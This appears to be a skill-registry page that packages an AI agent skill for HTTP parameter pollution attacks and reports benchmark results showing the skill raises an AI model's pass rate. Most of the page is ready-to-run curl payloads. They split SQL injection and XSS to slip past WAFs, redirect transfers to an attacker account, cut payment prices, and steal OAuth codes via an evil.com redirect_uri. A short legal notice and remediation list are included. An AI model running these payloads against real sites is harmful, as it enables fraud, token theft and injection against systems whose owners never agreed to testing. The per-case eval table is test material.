Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Execute HTTP Parameter Pollution attacks to bypass input validation, WAF rules, and security controls by injecting duplicate parameters that are processed differently by front-end and back-end systems.
.claude/skills/performing-http-parameter-pollution-attack/SKILL.md| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-03 | ✗→✓ | ▲ Improved | — | — |
| case-02 | ✗→✓ | ▲ Improved | — | — |
| case-07 | ✗→✓ | ▲ Improved | — | — |
| case-15 | ✗→✓ | ▲ Improved | — | — |
| case-17 | ✗→✓ | ▲ Improved | — | — |
> Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
bash# Test how the server handles duplicate parameters # Different servers process duplicates differently: # Apache/PHP: Last parameter value # ASP.NET/IIS: All values concatenated with comma # JSP/Tomcat: First parameter value # Node.js/Express: Array of values # Python/Flask: First parameter value curl -v "http://target.com/search?q=first&q=second" # Observe which value the application uses in the response # Test POST body duplicate parameters curl -X POST http://target.com/api/action \ -d "amount=100&amount=1"
bash# Bypass input validation by splitting payload # Original blocked payload: id=1 OR 1=1 curl "http://target.com/api/user?id=1%20OR%201%3D1" # Blocked by WAF # HPP bypass: split across duplicate parameters curl "http://target.com/api/user?id=1%20OR&id=1%3D1" # May bypass WAF # Parameter pollution in POST body curl -X POST http://target.com/transfer \ -d "to_account=victim&amount=100&to_account=attacker" # Override security-critical parameters curl -X POST http://target.com/api/payment \ -d "price=99.99¤cy=USD&price=0.01"
bash# Client-side HPP via URL manipulation # If application reflects parameters in links: # Original: http://target.com/page?param=value # Inject: http://target.com/page?param=value%26injected_param=evil_value # Social sharing URL manipulation curl "http://target.com/share?url=http://legit.com%26callback=http://evil.com" # Inject into embedded links curl "http://target.com/redirect?url=http://trusted.com%26token=stolen_value"
bash# WAF typically inspects individual parameter values # Split SQL injection across parameters curl "http://target.com/search?q=1' UNION&q=SELECT password FROM users--" # Split XSS payload curl "http://target.com/search?q=<script>&q=alert(1)</script>" # URL-encoded HPP bypass curl "http://target.com/api/data?filter=admin%26role=superadmin" # HPP in HTTP headers curl -H "X-Forwarded-For: 127.0.0.1" \ -H "X-Forwarded-For: attacker-ip" \ http://target.com/api/admin
bash# OAuth authorization code HPP # Inject duplicate redirect_uri to steal authorization code curl "http://target.com/oauth/authorize?client_id=legit&redirect_uri=https://legit.com/callback&redirect_uri=https://evil.com/steal" # Payment amount manipulation curl -X POST http://target.com/api/checkout \ -d "item=product1&price=100&quantity=1&price=1" # Coupon code HPP curl -X POST http://target.com/api/apply-coupon \ -d "coupon=SAVE10&coupon=SAVE90&coupon=FREE"
bash# Use Burp Intruder with parameter duplication # In Burp Repeater, manually add duplicate parameters # Use param-miner Burp extension for automated discovery # Test with OWASP ZAP HPP scanner zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' \ http://target.com # Custom testing with Python python3 hpp_tester.py --url http://target.com/api/action \ --params "id,role,amount" --method POST
| Concept | Description | |---------|-------------| | Server-Side HPP | Duplicate parameters processed differently by backend causing logic bypass | | Client-Side HPP | Injected parameters reflected in URLs/links sent to other users | | Parameter Precedence | Server behavior: first-wins, last-wins, concatenation, or array | | WAF Evasion | Splitting attack payloads across duplicate parameters to avoid detection | | Technology-Specific Parsing | Different frameworks handle duplicate parameters uniquely | | URL Encoding HPP | Using %26 (encoded &) to inject additional parameters within a value | | Header Pollution | Sending duplicate HTTP headers to exploit forwarding or trust logic |
| Tool | Purpose | |------|---------| | Burp Suite | HTTP proxy for intercepting and duplicating parameters | | param-miner | Burp extension for discovering hidden and duplicate parameters | | OWASP ZAP | Automated scanner with HPP detection capabilities | | Arjun | Hidden HTTP parameter discovery tool | | ffuf | Fuzzing tool for parameter brute-forcing and duplication testing | | Wfuzz | Web application fuzzer supporting parameter manipulation |
## HTTP Parameter Pollution Assessment Report
- **Target**: http://target.com
- **Server Technology**: ASP.NET/IIS (concatenation behavior)
- **Vulnerability**: Server-Side HPP in payment endpoint
### Parameter Handling Matrix
| Technology | Behavior | Tested |
|-----------|----------|--------|
| Apache/PHP | Last value | Yes |
| IIS/ASP.NET | Comma-concatenated | Yes |
| Node.js | Array | Yes |
### Findings
| # | Endpoint | Parameter | Impact | Severity |
|---|----------|-----------|--------|----------|
| 1 | POST /checkout | price | Price manipulation | Critical |
| 2 | GET /oauth/authorize | redirect_uri | Token theft | High |
| 3 | POST /api/search | q | WAF bypass (SQLi) | High |
### Remediation
- Implement strict parameter validation rejecting duplicate parameters
- Use the first occurrence of any parameter and ignore subsequent duplicates
- Apply WAF rules that detect duplicate parameter patterns
- Validate all parameters server-side regardless of client-side checks| Case | Status | Duration (ms) | Turns | Tokens | Tool calls | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Without | With | Δ | Without | With | Δ | Without | With | Δ | Without | With | Δ | ||
case-08 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-06 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-23 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-03 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-21 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-19 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-02 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-14 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-20 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-04 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-05 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-09 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-07 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-10 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-13 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-22 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-15 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-17 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-01 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-11 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-12 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-16 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-18 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
DecimalAI ran this skill against gemini-3.6-flash twice over the same eval suite — once with the skill loaded and once without — and compared the two runs case by case. 23 cases were attempted. The headline lift of +22 percentage points is the difference between those two pass rates over the 23 comparable cases.
The per-case answers from this run were removed by the retention sweep, so the case table below shows the verdicts without the text either arm produced. The counts above were recorded at the time and are unaffected. Answers are now kept for 180 days.
Other measured skills in the registry, with their headline benchmark lift.